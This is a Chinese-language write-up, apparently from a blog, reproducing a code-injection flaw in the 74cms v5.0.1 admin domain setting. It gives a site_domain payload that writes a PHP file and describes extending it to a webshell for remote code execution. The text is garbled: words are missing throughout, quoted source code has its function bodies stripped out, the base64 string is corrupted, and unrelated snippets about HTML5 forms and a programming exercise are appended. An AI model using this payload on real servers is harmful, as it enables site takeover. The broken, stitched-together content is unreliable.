74cms v5.0.1在url.php中以陣列鍵值對形式儲存**網域名稱資訊,可在**網域名稱資訊修改處寫入php**,修改生效後,訪問url.php,執行寫入的php**。利用此漏洞可寫入webshell,導致遠端**執行。
首先登入後台,後台位址為/index.php?m=admin&c=index&a=login
導航欄選擇系統,進入**配置選項
使用burpsuite抓包,點選儲存配置
修改site_domain的值為(使用時先進行url編碼)', file_put_contents('403.php',base64_decode('pd9wahagcghwaw5mbygpoz8+')),'
其中pd9wahagcghwaw5mbygpoz8+
base64解碼為<?php phpinfo();?>
74cms使用thinkphp框架,url訪問方式如下
thinkphp採用單一入口模式訪問應用,對應用的所有請求都定向到應用的入口檔案,系統會從url引數中解析當前請求的模組、控制器和操作,下面是乙個標準的url訪問格式:
第一種訪問方式
http://localhost:/thinkphp/index.php/home/index/index
入口檔案/模組/控制器/操作
第二種訪問方式(傳引數)
http://localhost:/thinkphp/index.php?m=home&c=index&a=index
傳三個引數
在修改網域名稱時,訪問的url為/index.php?m=admin&c=config&a=edit
i函式語法格式:i('變數型別.變數名/修飾符',['預設值'],['過濾方法或正則'],['額外資料來源'])
i('id',0);
獲取id引數 自動判斷get或者post
i('post.name','','htmlspecialchars');
獲取$_post['name']
i('get.');
獲取$_get
關鍵**
$this->update_config($config,conf_path.'url.php'); //更新config檔案url.php
}·····略
呼叫自定義函式對data進行過濾//i函式原始碼
* @param string $name 變數的名稱 支援指定型別//$site_domain = i('request.site_domain','','trim');
/** * 獲取輸入引數 支援過濾和預設值
* 使用方法:
** i('id',0); 獲取id引數 自動判斷get或者post
* i('post.name','','htmlspecialchars'); 獲取$_post['name']
* i('get.'); 獲取$_get
*
* @param mixed $default 不存在的時候預設值
* @param mixed $filter 引數過濾方法
* @param mixed $datas 要獲取的額外資料來源
* @return mixed
*/function i($name,$default='',$filter=null,$datas=null) elseif(c('var_auto_string'))
if(strpos($name,'.')) else
switch(strtolower($method))
if(''==$name) elseif(isset($input[$name]))
}else
}elseif(is_int($filters))
if(is_array($filters))else}}
}}if(!empty($type))
}}else
is_array($data) && array_walk_recursive($data,'think_filter'); //呼叫自定義函式think_filter,定義見後文
return $data;
}
//array_map_recursive函式
function array_map_recursive($filter, $data)
return $result;
}
過濾特殊字元
//think_filter函式
function think_filter(&$value)
}
從整體分析來看,對site_domain的輸入,只會使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter這幾個函式做過濾,對於執行php**,寫入shell,有影響的只有strip_tags,可以通過編碼繞過
正常的url.php檔案內容如下,從之前的**可以看出更新網域名稱將更新domain和cookie_domain對應的值,原本的網域名稱為74cms.com,寫入到檔案中會在最前面加乙個.。
<?php
return array (
'url_model' => 0,
'url_html_suffix' => '.html',
'url_pathinfo_depr' => '/',
'url_router_on' => true,
'url_route_rules' =>
array (
'/^jobfair\/(?!admin)(\w+)$/' => 'jobfair/index/:1',
'/^mall\/(?!admin)(\w+)$/' => 'mall/index/:1',
),'qscms_version' => '5.0.1',
'qscms_release' => '2019-03-19 00:00:00',
'session_options' =>
array (
'domain' => '.74cms.com',
0 => 18,
1 => '',
'path' => 'd:\phpstudy_pro\www\upload\data\session',
),'cookie_domain' => '.74cms.com',
0 => 18,
1 => '',
);
於是,現在可以構造payload閉合前後兩個單引號,並用逗號隔開', 需要執行的內容,'
下圖為,漏洞復現的url.php的檔案內容
7 4HTML5新增的表單屬性
1.placeholder屬性 在輸入框中向使用者顯示描述性說明或提示資訊,類似於登陸頁面中,賬號的輸入框內有讓我們輸入賬號的提示,但只要我們單擊它並隨意輸入乙個字元就會自動消失 2.autocomplete屬性 用來知曉是否儲存輸入值已備用將來使用 屬性值作用 on可以顯示指定候補輸入的資料列表 ...
pta 7 4 含8的數字的個數 5分
7 4 含8的數字的個數 5分 現代人對數字越來越講究,都喜歡含有8的數字。現要你程式設計計算a至b之間的含有數字8的數的個數 比如181,88,8,28這些數都含有數字8,而21,45,49等沒有含有數字8 輸入格式 在一行中輸入兩個正整數a和b,用乙個空格隔開。0輸出格式 輸出a和b之間含有8的...